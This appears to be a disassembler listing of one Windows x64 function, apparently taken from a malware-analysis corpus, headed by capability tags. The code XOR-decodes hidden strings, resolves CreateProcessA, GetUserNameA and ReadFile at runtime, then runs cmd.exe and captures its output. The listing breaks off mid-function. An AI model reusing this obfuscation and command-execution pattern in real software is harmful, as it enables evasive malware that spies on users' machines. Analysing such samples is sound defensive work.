Function at 0x140001260
Capabilities:
Encode data using xor
Get common file path
Get comspec environment variable
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1920]
mov eax, 0x1a20
call fcn.140004af0
sub rsp, rax
mov rax, qword [0x140007010]
xor rax, rsp
mov qword [rbp + 0x1910], rax
xor r13d, r13d
mov qword [rbp + 0x120], r13
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x138], socket
mov byte [rbp + 0x120], r13b
lea r8d, [r13 + 0xa]
lea rdx, str._sf_s_Vjqf
lea rcx, [rbp + 0x120]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [0x1400056b0]
movdqu xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x1400056f0]
movdqu xmmword [rbp + 0x190], xmm1
mov dword [rbp + 0x1a0], 2
mov dword [rbp + 0x1a4], 9
mov qword [rbp + 0x100], r13
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], socket
mov byte [rbp + 0x100], r13b
lea r8d, [r13 + 0x14]
lea rdx, str.DdwBrwtfowEnwc_ulsD
lea rcx, [rbp + 0x100]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x250], xmm1
movdqa xmm0, xmmword [0x1400056c0]
movdqa xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], socket
mov byte [rbp + 0x140], r13b
lea r8d, [r13 + 0x4b]
lea rdx, str.__sqCdrb_Qnfhomf_LnftlrlgsYQjognpvZPubss_Kfov_WwidsbltYUw_quruZpd_tulrz_fyb
lea rcx, [rbp + 0x140]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm1, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x280], xmm1
movdqa xmm0, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm1, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x2a0], xmm1
movdqa xmm0, xmmword [0x1400056c0]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm1, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x2c0], xmm1
movdqa xmm0, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x2e0], xmm1
movdqa xmm0, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [0x1400056c0]
movdqa xmmword [rbp + 0x300], xmm1
movdqa xmm0, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmm0, xmmword [0x1400056c0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xf0], r13
mov qword [rbp + socket8], 0xf
mov byte [rbp + 0xe0], r13b
lea r8d, [r13 + 0x12]
lea rdx, str.DdwLhasodEhk_Hblf_
lea rcx, [rbp + 0xe0]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [0x1400056b0]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [0x1400056f0]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [0x1400056e0]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x1400056d0]
movdqa xmmword [rbp + 0x200], xmm1
mov dword [rbp + 0x210], 5
mov dword [rbp + 0x214], 6
mov qword [rbp + 0x160], r13
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], socket
mov byte [rbp + 0x160], r13b
lea r8d, [r13 + 0xe]
lea rdx, str.ndr1_____4_
lea rcx, [rbp + 0x160]
call fcn.1400039a0
nop
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], socket
mov byte [rbp + 0xc0], r13b
lea r8d, [r13 + 9]
lea rdx, str.N1QbjxW
lea rcx, [rbp + 0xc0]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [str._r_v_r_v]
movdqu xmmword [rbp + 0x1a8], xmm0
movdqa xmm1, xmmword [0x140005720]
movdqu xmmword [rbp + 0x1b8], xmm1
mov dword [rbp + 0x1c8], socket
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.CreateProcessA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.GetUserNameA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.ReadFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov r11d, r13d
movsxd rbx, dword [rbp + 0x130]
test rbx, rbx
jle 0x140001700
mov r10d, r13d
nop word [rax + rax]
lea r8, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae r8, qword [rbp + 0x120]
lea r9, [rbp + 0x120]
cmovae r9, qword [rbp + 0x120]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x180]
xor cl, byte [r8 + r10]
mov byte [r9 + r10], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x1400016a0
lea rsi, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rsi, qword [rbp + 0x120]
movabs rax, 0x7fffffffffffffff
mov rdi, qword [rbp + 0x130]
cmp rdi, 0x10
jae 0x14000174a
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], recv
lea rdi, [rbp + 0x60]
jmp 0x1400017cb
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001794
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ca0
mov rcx, rax
call fcn.140003ce0
mov rcx, rax
test rax, rax
je 0x140001819
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400017a3
test rcx, rcx
je 0x1400017a0
call fcn.140003ce0
jmp 0x1400017a3
mov rax, r13
mov qword [rbp + 0x60], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rbx
lea rdi, [rbp + 0x60]
cmp rbx, 0x10
cmovae rdi, qword [rbp + 0x60]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140001825
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001820
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001820
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], recv
mov byte [rbp + 0x60], 0
mov r11d, r13d
movsxd rbx, dword [rbp + 0x110]
test rbx, rbx
jle 0x1400018b0
mov r10, r13
nop word [rax + rax]
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r8, qword [rbp + 0x100]
lea r9, [rbp + 0x100]
cmovae r9, qword [rbp + 0x100]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x220]
xor cl, byte [r8 + r10]
mov byte [r9 + r10], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x140001850
lea rsi, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae rsi, qword [rbp + 0x100]
mov rdi, qword [rbp + 0x110]
cmp rdi, 0x10
jae 0x1400018fc
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], socket
lea rdi, [rbp + 0x80]
jmp 0x140001996
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001950
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002ca6
mov rcx, rax
call fcn.140003ce0
mov rcx, rax
test rax, rax
je 0x1400019e7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000195f
test rcx, rcx
je 0x14000195c
call fcn.140003ce0
jmp 0x14000195f
mov rax, r13
mov qword [rbp + 0x80], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rbx
lea rdi, [rbp + 0x80]
cmp rbx, 0x10
cmovae rdi, qword [rbp + 0x80]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1400019f3
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov r11d, r13d
movsxd rbx, dword [rbp + 0xf0]
test rbx, rbx
jle 0x140001a70
mov r10, r13
nop word [rax + rax]
lea r8, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r8, qword [rbp + 0xe0]
lea r9, [rbp + 0xe0]
cmovae r9, qword [rbp + 0xe0]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x1d0]
xor cl, byte [r8 + r10]
mov byte [r9 + r10], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x140001a10
lea rsi, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rsi, qword [rbp + 0xe0]
mov rdi, qword [rbp + 0xf0]
cmp rdi, 0x10
jae 0x140001abc
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], socket
lea rdi, [rbp + 0x80]
jmp 0x140001b56
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001b10
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002cac
mov rcx, rax
call fcn.140003ce0
mov rcx, rax
test rax, rax
je 0x140001bac
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001b1f
test rcx, rcx
je 0x140001b1c
call fcn.140003ce0
jmp 0x140001b1f
mov rax, r13
mov qword [rbp + 0x80], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rbx
lea rdi, [rbp + 0x80]
cmp rbx, 0x10
cmovae rdi, qword [rbp + 0x80]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140001bb8
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], socket
mov byte [rbp + 0x80], 0
mov dword [rsp + 0x50], 0x101
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x800]
call r15
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x78], 0x18
mov qword [rbp - 0x78], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x910]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x54], r13d
mov r15d, 0x200
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
xor edi, edi
lea r13d, [rdi + 1]
mov qword [rbp - 0x80], rdi
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x60]
call r14
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], di
mov rax, qword [rsp + 0x58]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov eax, dword [str.til_om]
mov dword [rbp + 0x3e0], eax
movzx eax, word [0x140005528]
mov word [rbp + 0x3e4], ax
movzx eax, byte [0x14000552a]
mov byte [rbp + 0x3e6], al
xor edx, edx
mov r8d, 0xfd
lea rcx, [rbp + 0x3e7]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], recv
mov byte [rbp + 0x60], dil
lea rax, [rbp + 0x3e0]
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140001cf3
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x60]
call fcn.1400039a0
nop
movdqa xmm0, xmmword [0x1400056b0]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 2
mov dword [rbp + 0x54], 4
mov r11d, edi
movsxd rbx, dword [rbp + 0x70]
test rbx, rbx
jle 0x140001d8e
mov r10, rdi
nop word [rax + rax]
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r8, qword [rbp + 0x60]
lea r9, [rbp + 0x60]
cmovae r9, qword [rbp + 0x60]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x40]
xor cl, byte [r8 + r10]
mov byte [r10 + r9], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x140001d40
lea rsi, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rsi, qword [rbp + 0x60]
mov rdi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140001ede
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], socket
lea rdi, [rbp + 0x180]
mov r8d, r15d
lea rdx, [rbp + 0x4f0]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140001e25
mov edx, r15d
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x4f0]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140001e02
mov rdx, r15
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rax, r14
nop dword [rax + rax]
inc rax
cmp byte [rdi + rax], 0
jne 0x140001e30
test eax, eax
je 0x140001e93
lea rcx, [rbp + 0x4f0]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140001e47
mov rdx, r15
sub rdx, rax
lea r8, str.__c_chcp_437_
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x4f0]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140001e74
mov rdx, r15
sub rdx, rax
mov r8, rdi
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x140001f97
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001f92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f92
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f2e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002cb2
mov rcx, rax
call fcn.140003ce0
mov rcx, rax
test rax, rax
je 0x140001ed7
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001f3c
test rcx, rcx
je 0x140001f3a
call fcn.140003ce0
jmp 0x140001f3c
xor eax, eax
mov qword [rbp + 0x180], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x190], rdi
mov qword [rbp + 0x198], rbx
lea rdi, [rbp + 0x180]
cmp rbx, 0x10
jb 0x140001dcd
mov rdi, qword [rbp + 0x180]
test rdi, rdi
jne 0x140001dcd
lea rcx, str.NULLww_n
call fcn.140001040
jmp 0x140001e93
call fcn.140003f6c
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [rsp + 0x68]
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x910]
mov rcx, qword [rsp + 0x60]
call r12
lea rdx, [rbp + 0x4f0]
lea rcx, [0x14000552c]
call fcn.140001040
xor r12d, r12d
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], socket
mov byte [rbp + 0xa0], bl
lea rax, [rbp + 0x910]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], bl
jne 0x140002030
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xa0]
call fcn.1400039a0
nop
lea rbx, [rbp + 0xa0]
mov rsi, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xb8]
cmp r15, 0x10
cmovae rbx, rsi
mov rdi, qword [rbp + 0xb0]
test rdi, rdi
je 0x140002102
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
mov dword [rbp + 0x438], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x43d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x43c], 1
lea rax, [rdi - 1]
mov rcx, r14
cmp rax, r14
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x3e0], 0
jne 0x1400020fd
cmp rcx, rbx
je 0x140002102
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x3e0], 0
je 0x1400020e8
sub rcx, rbx
jmp 0x140002105
mov rcx, r14
inc rcx
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], socket
cmp rdi, rcx
jb 0x140002cb8
sub rdi, rcx
mov r8, r14
cmp rdi, r14
cmovb r8, rdi
lea rdx, [rbp + 0xa0]
cmp r15, 0x10
cmovae rdx, rsi
add rdx, rcx
lea rcx, [rbp + 0x180]
call fcn.1400039a0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140002196
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a11
call fcn.140003f6c
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rbp + 0x190]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], 0
xor r8d, r8d
lea rdx, [0x1400053e8]
lea rcx, [rbp + 0x20]
call fcn.1400039a0
nop
mov r11d, r12d
movsxd rbx, dword [rbp + 0xd0]
test rbx, rbx
jle 0x140002250
mov r10, r12
nop dword [rax]
lea r8, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae r8, qword [rbp + 0xc0]
lea r9, [rbp + 0xc0]
cmovae r9, qword [rbp + 0xc0]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x1a8]
xor cl, byte [r8 + r10]
mov byte [r10 + r9], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x1400021f0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rbx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rbx, qword [rbp + 0xc0]
mov r15, qword [rbp + 0xd0]
cmp r15, 0x10
jae 0x140002292
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x40], xmm0
mov esi, recv
mov rdi, qword [rbp + 0x40]
jmp 0x140002308
mov rsi, r15
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
cmova rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400022e3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002c9a
mov rcx, rax
call fcn.140003ce0
test rax, rax
je 0x1400029b0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400022f5
test rcx, rcx
je 0x1400022f2
call fcn.140003ce0
mov rdi, rax
jmp 0x1400022f5
mov rdi, r12
mov qword [rbp + 0x40], rdi
lea r8, [r15 + 1]
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x50], r15
lea r9, [rbp + 0x40]
cmp rax, 0x10
cmovae r9, rdi
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp r15, rax
ja 0x14000235f
lea rax, [r15 + rcx]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, r15
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [r15 + rbx], 0
jmp 0x140002378
mov qword [rsp + 0x20], r15
mov rdx, r15
lea rcx, [rbp + 0x20]
call fcn.140003b20
mov rsi, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x40]
cmp rsi, 0x10
jb 0x1400023af
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400023a7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029b0
mov rcx, rdi
call fcn.140003f6c
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov rdi, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000240c
lea rax, [rcx + rdi]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x14000241d
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140003b20
mov r11d, r12d
movsxd rbx, dword [rbp + 0x150]
test rbx, rbx
jle 0x140002490
mov r10, r12
nop
lea r8, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae r8, qword [rbp + 0x140]
lea r9, [rbp + 0x140]
cmovae r9, qword [rbp + 0x140]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x270]
xor cl, byte [r8 + r10]
mov byte [r9 + r10], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x140002430
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rbx, [rbp + 0x140]
mov r13, qword [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rbx, r13
mov r15, qword [rbp + 0x150]
cmp r15, 0x10
jae 0x1400024d5
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x40], xmm0
mov esi, recv
mov rdi, qword [rbp + 0x40]
jmp 0x14000254b
mov rsi, r15
or rsi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
cmova rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140002526
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002c9a
mov rcx, rax
call fcn.140003ce0
test rax, rax
je 0x1400029b0
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002538
test rcx, rcx
je 0x140002535
call fcn.140003ce0
mov rdi, rax
jmp 0x140002538
mov rdi, r12
mov qword [rbp + 0x40], rdi
lea r8, [r15 + 1]
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x50], r15
lea r9, [rbp + 0x40]
cmp rax, 0x10
cmovae r9, rdi
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp r15, rax
ja 0x1400025a2
lea rax, [r15 + rcx]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8, r15
mov rdx, r9
mov rcx, rbx
